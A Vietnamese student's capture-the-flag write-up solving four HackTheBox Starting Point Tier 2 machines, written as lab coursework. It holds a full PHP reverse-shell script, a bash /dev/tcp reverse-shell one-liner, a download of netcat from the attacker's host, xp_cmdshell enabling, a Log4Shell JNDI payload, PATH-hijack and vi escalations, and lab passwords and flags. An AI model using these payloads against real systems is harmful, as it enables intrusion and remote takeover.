# HackTheBox Starting Point Tier 2 Writeup
**Họ và tên: Nguyễn Hải Phong
MSSV: 22521088**
## Minh chứng cho việc giải tất cả free machine của HTB starting



## Writeup cho free machine HTB tier 2
### Archetype
#### Task 1: Which TCP port is hosting a database server?
Đầu tiên thì ta sẽ tiến hành dùng công cụ `nmap` để tìm ra port được dùng để dựng database server

Sau khi sử dụng nmap thì ta thấy được database mà server sử dụng là Microsoft SQL Server 2017 đang được mở ở port 1433 ở giao thức TCP
**Đáp án: 1433**
#### Task 2: What is the name of the non-Administrative share available over SMB?
Trong kết quả trả về của tool `nmap` thì ta cũng thấy có mở dịch vụ SMB (Version Microsoft Windows netbios-ssn) ở port 139 của giao thức TCP

Tiến hành sử dụng công cụ `smbclient` để kết nối đến server SMB này

Ta thấy được backups là sharename được tạo thêm ngoài những sharename có sẵn trong Windows
**Đáp án: backups**
#### Task 3: What is the password identified in the file on the SMB share?
Tiến hành kết nối đến backups thông qua `smbclient`

Sau khi kết nối thành công thì ta thấy được trong đây có tồn tại một file tên là `prod.dtsConfig`. Để tải về file này thì ta sử dụng câu lệnh `get prod.dtsConfig`
Cuối cùng thì ta sẽ tiến hành đọc file `prod.dtsConfig` này thì ta tìm được password nằm trong SMB share backups này

**Đáp án: M3g4c0rp123**
#### Task 4: What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?
Ta tiến hành tải về Impacket repository thông qua `git clone https://github.com/fortra/impacket.git`
Vào trong thư mục Impacket này, tại đường dẫn `impacket/examples` có chứa đoạn python script chuyên dùng để thiết lập kết nối tới Microsoft SQL server có tên là `mssqlclient.py`

**Đáp án: mssqlclient.py**
#### Task 5: What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?
Trong Microsoft SQL Server document thì lệnh `xp_cmdshell` được dùng để tạo ra một Windows command shell

**Đáp án: xp_cmdshell**
#### Task 6: What script can be used in order to search possible paths to escalate privileges on Windows hosts?
Trong Privilege Escalation ở Windows (Leo thang đặc quyền trong windows) thì nổi tiếng nhất về việc tìm lỗ hổng hoặc các file đặc biệt thì phải nói đền `winpeas` (https://github.com/peass-ng/PEASS-ng.git)

**Đáp án: winpeas**
#### Task 7: What file contains the administrator's password?
Đầu tiên ta sẽ tiến hành truy cập vào Microsoft SQL server của machine này thông qua `mssqlclient.py` với mật khẩu là đáp án của Task 3: `M3g4c0rp123`

Sau đó ta sẽ tiến hành enable `xp_cmdshell` để có thể thực thi windows commands trong cmd thông qua các câu lệnh:
```
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
```
Sau khi thực thi được windows cmd trên Microsoft SQL Server thì ta sẽ tiến hành sử dụng reverse shell để có thể chiếm được window shell của machine này.
Để làm được vậy thì ta tiến hành tải `nc64.exe` ở phía machine windows cmd thông qua lệnh
`powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.16.7:8000/nc64.exe -outfile nc64.exe`

Sử dụng chính file `nc64.exe` ở kết nối tới port mà chúng ta đang mở sẵn (trong trường hợp ví dụ là kết nối đến port 8888 đã được mở sẵn để lắng nghe ở phía máy của mình)


Cuối cùng ta sẽ sử dụng `winPEASx64.exe` (https://github.com/carlospolop/PEASS-ng/releases/download/20230101/winPEASx64.exe) để tiến hành tìm ra được file chứa mật khẩu của admin.

**Đáp án: ConsoleHost_history.txt**
#### Submit user flag:
Sau một hồi tìm hiểu thì hóa ra user flag nằm tại thư mục `C:\Users\sql_svc\Desktop`

Tiến hành đọc file `user.txt` sẽ trả về user flag:

**Đáp án: 3e7b102e78218e935bf3f4951fec21a3**
#### Submit root flag:
Ta tiến hành đọc file `ConsoleHost_history.txt`, từ đó trong file đã lộ ra mật khẩu của admin là `MEGACORP_4dm1n!!`
Tiến hành sử dụng python script tên là `psexec.py` để chiếm shell của admin với mật khẩu đã bị lộ của admin

Và flag của admin user nằm trong thư mục Desktop của admin

**Đáp án: b91ccec3305e98240082d4474b848528**
### Oopsie
#### Task 1: With what kind of tool can intercept web traffic?
Cụ thể trong BurpSuite có chức năng proxy cho phép có thể can thiệp, quan sát web traffic giữa browser và ứng dụng mà chúng ta đang kiểm thử

**Đáp án: proxy**
#### Task 2: What is the path to the directory on the webserver that returns a login page?
Đầu tiên ta sẽ tiến hành sử dụng `nmap` để scan các dịch vụ và port đang mở của địa chỉ IP của machine này

Ta có thể thấy được machine này đang mở một webserver ở port 80 sử dụng Apache httpd 2.4.29
Giao diện của trang web tại port 80:

Khi ta tiến hành Inspect trang web, ở mục Sources thì ta thấy có đường dẫn lạ `/cdn-cgi/login`, có thể đây là đường dẫn của trang web cho chức năng đăng nhập của trang web

Tiến hành truy cập vào đường dẫn `/cdn-cgi/login` thì trang web đã trả về giao diện của chức năng đăng nhập, đúng như dự đoán ban đầu

**Đáp án: /cdn-cgi/login**
#### Task 3: What can be modified in Firefox to get access to the upload page?
Vì bây giờ chúng ta chưa có dữ liệu về tài khoản và mật khẩu của user bất kỳ của trang web này nên ta sẽ tiến hành chọn `Login as Guest`

Ta sẽ tiến hành xem qua chức năng Upload của trang web này
thì thấy trang web này yêu cầu quyền của admin, trong khi ta lại đăng nhập với danh nghĩa là Guest nên không cho truy cập chức năng được

Mà nhờ đâu mà trang web biết rằng chúng ta là Guest chứ không phải là admin. Hóa ra trong trường `Application` khi tiến hành Inspect trang web thì tại mục Cookie có tồn tại 2 trường `role` và `guest` với giá trị lần lượt là `guest` và `2233`

Vậy nếu như sửa đổi cookie thành của admin thì có thể ta sẽ truy cập chức năng upload của trang web dưới danh nghĩa là admin.
**Đáp án: cookie**
#### Task 4: What is the access ID of the admin user?
Để tìm được giá trị access ID của admin user thì ta sẽ truy cập đến chức năng `Account` của trang web, ở đây cho ta thấy được giá trị của 3 trường `Access ID`, `Name` và `Email`. Và trên url của 2 parameter đáng chú ý là `content` và `id` lần lượt là `account` và `2`

Có thể đưa ra giả thuyết rằng ở chức năng `Account` này đang bị lỗ hổng IDOR ở trường `id` cho phép người khác không có thẩm quyền được xem thông tin của những người khác, bao gồm cả admin. Để chứng minh thì ta sẽ thử tiến hành thay đổi giá trị của `id` sẽ là 1 để kiểm chứng thử

Ta thấy được với `id = 1` thì trang web đã trả về giá trị của admin user với `Access ID = 34322`, `Name = admin` cũng như `Email = admin@megacorp.com`
**Đáp án: 34322**
#### Task 5: On uploading a file, what directory does that file appear in on the server?
Sau khi có được `Access ID` của admin user thì ta sẽ tiến hành sửa đổi cookie để ta có thể truy cập vào chức năng `Upload` của trang web như là admin user.

Sau đó tiến hành reload lại trang thì ta đã truy cập được chức năng `Upload` của trang web

Ta sẽ tiến hành upload lên trang web thử một đoạn code nhỏ tên `phpinfo.php` có nội dung như dưới đây:
```php!=
<?php
phpinfo();
?>
```
Sau khi upload xong thì giao diện sẽ trả về cho ta như sau:

Nhưng ta vẫn chưa biết được file mà ta vừa upload nằm ở đường dẫn nào cả
Ở đây mình sẽ tiến hành sử dụng công cụ `ffuf` (https://github.com/ffuf/ffuf.git) để scan và tìm kiếm các directory ẩn, và sau khi scan thành công thì có một directory đặc biệt khiến mình chú ý, đó là `/uploads`

Có thể file `phpinfo.php` vừa nãy ta vừa upload lên nằm trong thư mục này, để kiểm chứng thì ta tiến hành truy cập theo đường dẫn `/uploads/phpinfo.php` thì giao diện của câu lệnh `phpinfo()` trong PHP trả về chứng tỏ đây là đường dẫn chứa các file upload

**Đáp án: /uploads**
#### Task 6: What is the file that contains the password that is shared with the robert user?
Đồng thời ta cũng thấy rằng chức năng Upload này đã không có bất cứ bước xác thực nào trong việc kiểm soát file được upload dẫn đến kẻ tấn công có thể thực thi câu lệnh từ xa
Giờ ta sẽ tiến hành upload file tên `shell.php` để tiến hành reversehll có nội dung như dưới đây (tham khảo từ https://www.revshells.com/)
```php!=
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.18';
$port = 7777;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
Sau khi upload thành công vào tiến hành truy cập vào đường dẫn `/uploads/shell.php` và mở port tại 33456 thì ta đã chiếm được shell của chương trình

Để tìm được password của robert user thì ta tiến hành truy cập vào `/usr/www/html/cdn-cgi/login/db.php` và tiến hành đọc nội dung, ta thấy được code php đang tiến hành connect tới mysql thông qua user robert với mật khẩu là `M3g4C0rpUs3r!`

**Đáp án: db.php**
#### Task 7: What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?
Để có thể tiến hành tìm file có liên quan đến group `bugtracker` thì ta tiến hành sử dụng câu lệnh `find / -group bugtracker 2>/dev/null`

**Đáp án: find**
#### Task 8: Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?
Ta sẽ tiến hành xem qua các quyền thực thi của file `bugtracker` này cũng như xác định kiểu file của file này

Ta thấy đây là một file setuid, mà file được setuid thì bất chấp user thực thi là ai thì nó vẫn sẽ thực thi với quyền hạn của root (theo định nghĩa của wiki: https://en.wikipedia.org/wiki/Setuid)

**Đáp án: root**
#### Task 9: What SUID stands for?
Theo định nghĩa về SUID thì SUID viết tắt của Set User ID (hay hiểu theo cách khác là Set owner User ID)
**Đáp án: Set owner User ID**
#### Task 10: What is the name of the executable being called in an insecure manner?
Bây giờ ta sẽ tiến hành chuyển qua user robert với password đã biết từ trước (`M3g4C0rpUs3r!`)

Sau đó ta sẽ tiến hành chạy thử lệnh `/usr/bin/bugtracker` như thế nào. Ở đây ta thấy được lệnh trên sẽ tiến hành gọi ra lệnh `cat` để tiến hành đọc một file chỉ định với quyền hạn của root user.

**Đáp án: cat**
#### Submit user flag
User flag nằm tại `/home/robert/user.txt`, tiến hành đọc file đó sẽ trả về flag của user

**Đáp án: f2c74ee8db7983851ab2a96a44eb7981**
#### Submit root flag
Để tiến hành đọc được root flag thì ta cần phải leo thang đặc quyền lên root để đọc được
Ta sẽ tiến hành lợi dụng lỗ hổng lệnh `cat` được thực thi trong `/usr/bin/bugtracket` để thực hiện điều trên
Thông thường thì khi người dùng sử dụng lệnh `cat` thì Linux sẽ đi tìm đường dẫn đầu tiên thực thi lệnh `cat`, và thường là nằm tại `/usr/bin/cat`
Bây giờ ta sẽ tiến hành giả mạo định nghĩa lệnh `cat` để khi `bugtracker` gọi đến lệnh `cat` thì sẽ thực thi đoạn code của ta thay vì lệnh `cat` thực sự
ta sẽ tiến hành tạo file tên `cat` thư mục hiện tại của ta và nội dung trong file `cat` sẽ spawn ra shell cho chúng ta `/bin/sh`

Sau khi tạo xong thì ta sẽ cấp quyền thực thi cho file `cat` giả mạo này, và đồng thời chỉnh lại biến môi trường `PATH`, vì khi thực thi một câu lệnh nào trong Linux thì Linux cũng sẽ xem qua các đường dẫn trong biến môi trường này và sẽ thực thi câu lệnh tại nơi đầu tiên tìm ra câu lệnh này

Và giờ đây khi tiến hành gọi đến `/usr/bin/bug/tracker` thì khi chương trình này gọi đến lệnh `cat` thì sẽ thực thi ngay lệnh `cat` giả mạo của chúng ta và sẽ spawn ra root shell

Và khi này flag của root user sẽ nằm tại `/root/root.txt`
**Đáp án: af13b0bee69f8a877c3faf667f7beacf**
### Vaccine
#### Task 1: Besides SSH and HTTP, what other service is hosted on this box?
Đầu tiên ta sẽ sử dụng công cụ `nmap` để tiến hành quét IP của machine được cung cấp, ta thấy được ngoài SSH và HTTP thì FTP cũng được mở ở port 21

**Đáp án: FTP**
#### Task 2: This service can be configured to allow login with any password for specific username. What is that username?
Đồng thời khi tiến hành quét service FTP của machine này ta cũng thấy được FTP cho phép đăng nhập vào dưới dạng ẩn danh (anonymous)

Để kiểm chứng thì ta sẽ tiến hành kết nối tới FTP của machine và đăng nhập với username là `anonymous` và với một password bất kỳ

**Đáp án: anonymous**
#### Task 3: What is the name of the file downloaded over this service?
Và khi ta tiến hành truy cập thành công vào FTP của machine thì ta có thể list ra các file trong này, trong số đó có file `backup.zip` khiến ta chú ý

Và ta sẽ tiến hành tải file này về máy của mình thông qua lệnh `get backup.zip`

**Đáp án: backup.zip**
#### Task 4: What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?
Ta sẽ thử tiến hành `unzip` file backup.zip này. Nhưng không may rằng file này đã bị khoá và phải cần có mật khẩu để có thể mở nó

Lúc này ta sẽ sử dụng công cụ `zip2john` với mục đích tạo mã hash từ file zip này để từ đó sử dụng công cụ `john the ripper` để tiến hành bẻ khoá file zip này

Sau khi có được mã hash của file zip (`backup.hash`) được tạo ra từ file zip trên, ta sẽ đưa file này cho `john the ripper` xử lý và cuối cùng lấy được mật khẩu của file zip này.

**Đáp án: zip2john**
#### Task 5: What is the password for the admin user on the website?
Ta sẽ tiến hành unzip file `backup.zip` theo mật khẩu đã tìm ra từ trước (`741852963`)

Và khi đọc file `index.php` có trong này ta chú ý đến các câu lệnh dưới đây:
```php!=
<?php
session_start();
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
?>
```
Vậy là ta biết được md5 hash mật khẩu của user admin là `2cb42f8734ea607eefed3b70af13bbd3`. Vì đây là md5 nên khả năng có thể khả năng cao ta truy xuất được mật khẩu gốc của admin user này.

**Đáp án: qwerty789**
#### Task 6: What option can be passed to sqlmap to try to get command execution via the sql injection?
Ta sẽ tiến hành truy cập trang web của IP machine với username và password lần lượt là `admin` và `qwerty789`

Ở trang web này, ta phát hiện được đang tồn tại lỗ hổng `SQL Injection` tại khung tìm kiếm của trang web này

Ta sẽ sử dụng đến công cụ `sqlmap` để tiến hành khai thác lỗ hổng `SQL Injection` với option `--os-shell` để chiếm được shell và thực thi câu lệnh từ xa



**Đáp án: --os-shell**
#### Task 7: What program can the postgres user run as root using sudo?
Khi đã chiếm được shell thành công thì ta sẽ tiến hành reverse shell về phía máy của ta cho việc thực thi câu lệnh từ xa trở nên dễ dàng hơn
Từ os-shell của sqlmap ta sẽ dùng câu lệnh `bash -c "sh -i >& /dev/tcp/10.10.16.18/7777 0>&1` để thực hiện kết nối tới port 7777 của chính máy chúng ta


Để có thể xem được những lệnh nào mà postgres user chạy được dưới quyền root thì ta phải tìm được password cho user postgres này. Và may mắn thay, sau một hồi tìm thì ta đã tìm ra được thứ mình cần ở `/var/www/html/dashboard.php`

Vậy là user `postgres` có mật khẩu là `P@s5w0rd!`. Cuối cùng ta sẽ sử dụng câu lệnh `sudo -l` với option `-l` sẽ liệt kê các câu lệnh được phép thực thi dưới quyền root của user này

**Đáp án: vi**
#### Submit user flag
Ta có thể tìm thấy user flag nằm tại thư mục `/var/lib/postgresql/user.txt`

**Đáp án: ec9b13ca4d6229cd5cc1e09980965bf7**
#### Submit root flag
Ta thấy được mình có thể sử dụng lệnh `/bin/vi /etc/postgresql/11/main/pg_hba.conf` dưới quyền của root
Và theo như trang web (https://gtfobins.github.io/gtfobins/vi/) ta có thể spawn shell ngay trong chính giao diện của câu lệnh `vi`. Vậy nếu như ta thực thi câu lệnh `vi` dưới quyền của root và spawn shell trên đó thì ta sẽ chiếm được root shell.


Và root flag nằm tại `/root/root.txt`

**Đáp án: dd6e058e814260bc70e9bbdef2715849**
### Unified
#### Task 1: Which are the first four open ports?
Vẫn như thường lệ, ta sẽ sử dụng công cụ `nmap` để tiến hành quét các port đang mở của IP machine này.
Ta thấy được các port đang mở của IP này lần lượt là 22 (ssh), 6789 (ibm-db2-admin?), 8080 (http-proxy) và 8443 (ssl/nagios-nsca Nagios NSCA)


**Đáp án: 22,6789,8080,8443**
#### Task 2: What is the title of the software that is running running on port 8443?
Thông qua `nmap` thì tại port 8443 của IP machine này ta thấy được http-title trả về tại port này có tên là `Unifi Network`

**Đáp án: UniFi Network
#### Task 3: What is the version of the software that is running?
Ta sẽ tiến hành truy cập vào trang web này ở cổng 8443 để xem xét có gì đặc biệt không

Ta có thể thấy được ngay phía dưới dòng chứ `UniFi` chính là phiên bản của nó: `6.4.54`
**Đáp án: 6.4.54**
#### Task 4: What is the CVE for the identified vulnerability?
Ta sẽ tiến hành tra Google xem liệu phiên bản `UniFi 6.4.54` liệu đã từng tồn tại lỗ hổng CVE nào trong quá khứ. Và không khó để ta xác định được rằng phiên bản này của `UniFi` từng bị lỗ hổng CVE-2021-44228 dẫn đến RCE

**Đáp án: CVE-2021-44228**
#### Task 5: What protocol does JNDI leverage in the injection?
Ta sẽ dựa theo bài viết này để tiến hành khai thác lỗ hổng CVE-2021-44228 này (https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi)
Trong đó payload mà tác giả bài viết đưa vào có `JNDI` và `LDAP`. Để giải thích thì `JNDI` là một Java API cho phép lưu trữ và truy cập nhiều loại dữ liệu và tài nguyên, như đối tượng, tệp, thư mục, trong khi `LDAP` là một giao thức truy cập cơ sở dữ liệu phân tán, được sử dụng để quản lý và truy xuất thông tin trong mạng máy tính.
Theo tác giả thì lỗ hổng xảy ra ở tính năng kết nối tới bất kì dịch vụ nào (như LDAP) thông qua JNDI chỉ bằng cách sử dụng URL. Log4j không cung cấp bất kì bộ lọc nào để loại trừ các URL không xác định. Các dịch vụ từ xa như LDAP trả về đối tượng được tuần tự hóa và class của nó (có thể chứa mã độc hại)
Theo bài viết này thì lỗ hổng nằm ở trường `remember` trong body của request `/api/login`. Ta sẽ tiến hành thử nghiệm thông qua việc đăng nhập vào thử và tiến hành bắt gói tin lại
và đồng thời sửa gói tin, cụ thể là ở trường `remember` thành payload `$(jndi:ldap://10.10.16.18/abc)`

Ta thấy trang web trả về ở trường `msg` là `api.error.InvalidPayload` mà theo tác giả cho rằng là dù báo lỗi nhưng payload trên vẫn được thực thi
**Đáp án: LDAP**
#### Task 6: What tool do we use to intercept the traffic, indicating the attack was successful?
Và để bắt được các gói tin trên interface của máy chúng ta, chúng ta sẽ sử dụng công cụ `tcpdump` để bắt các gói tin TCP/IP được truyền đi hoặc nhận được từ interface của máy chúng ta
**Đáp án: tcpdump**
#### Task 7: What port do we need to inspect intercepted traffic for?
Và đối tượng mà chúng ta cần phải theo dõi các gói tin TCP/IP chính là giao thức `LDAP`. Mà `LDAP` thường chạy trên cổng 389 nên ta sẽ tiến hành theo dõi các gói tin tại cổng đó
**Đáp án: 389**
#### Task 8: What port is the MongoDB service running on?
Khi biết được lỗ hổng thì chúng ta sẽ tiến hành tạo reverse shell với machine thông qua công cụ `rogue-jndi` ( https://github.com/veracode-research/rogue-jndi) để hiện thực hoá điều đó

Tiếp sau đó ta sẽ tạo câu lệnh cho việc reverse shell và base64 encode nó. Trong trường hợp của mình, mình sẽ tiến hành tạo reverse shell tạo IP của mình là `10.10.16.18` và port `8087`

Sau đó sử dụng file `RogueJndi-1-1.jar` vừa được tạo thông qua lệnh `mvn package` để tiến hành khai thác lỗ hổng này

Cuối cùng để hiện thực hoá reverse shell thì ta sẽ tiến hành thêm payload `${jndi:ldap://10.10.16.18:1389/o=tomcat}` ở gói tin `/api/login` ở phía trên lúc đầu của ta

Cuối cùng thì ta mở port `8087` để tiến hành chiếm shell của machine này

Thông qua việc xem tiến trình của machine này ta có thể thấy được MongoDB service được chạy trên machine này ở port 27117

**Đáp án: 27117**
#### Task 9: What is the default database name for UniFi applications?
Tiến hành tra Google về database mặc định của Unifi thì không khó để chúng ta tìm được đáp án kết quả trả về là `ace`
**Đáp án: ace**
#### Task 10: What is the function we use to enumerate users within the database in MongoDB?
Để tiến hành tìm users trong database thì ta sẽ sử dụng câu lênh `db.<tên database>.find()`. Và trong trường hợp này thì database mà ta cần tìm là `admin`

**Đáp án: db.admin.find()**
#### Task 11: What is the function we use to update users within the database in MongoDB?**
Để tiến hành chỉnh sửa users trong database thì ta sẽ sử dụng câu lênh `db.<tên database>.update()`. Và trong trường hợp này thì database mà ta cần tìm là `admin`

**Đáp án: db.admin.update()**
#### Task 12: What is the password for the root user?
Vì không thể giải mã được password của root user trong MongoDB database của machine nên ta sẽ tiến hành chỉnh sửa lại mật khẩu của user root để tiến hành đăng nhập với tư cách là root
Vì biết được rằng mật khẩu của user root là `$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.` có kí hiệu ở đầu `$6$` chứng tỏ nó đã được mã hoá bằng thuật toán SHA512 nên khi tiến hành sửa đổi mật khẩu mới theo ý của mình thì ta cũng phải mã hoá SHA512 y như vậy
Ở đây mình sẽ mã hoá mật khẩu mới của mình là `abc` theo SHA512

Tiến hành update lại mật khẩu mới cho user root

Bây giờ ta tiến hành đăng nhập lại tại IP của machine tại cổng 8443 với username là `administrator` và password mới là `abc`

Tiến hành chọn mục `Settings` tại mục `Device Authentication` thì ta sẽ tìm ra được mật khẩu ban đầu của root user là `NotACrackablePassword4U2022`

**Đáp án: NotACrackablePassword4U2022**
#### Submit user flag
Ta có thể tìm thấy user flag nằm tại đường dẫn `/home/michael/user.txt`

**Đáp án: 6ced1a6a89e666c0620cdb10262ba127**
#### Submit root flag
Với password của root vừa tìm được là `NotACrackablePassword4U2022`, ta sẽ tiến hành sử dụng ssh để kết nối tới IP của machine với tư cách là root user. Và ta tìm được đường dẫn của root flag nằm tại `/root/root.txt`

**Đáp án: e50bc93c75b634e4b272d2f771c33681**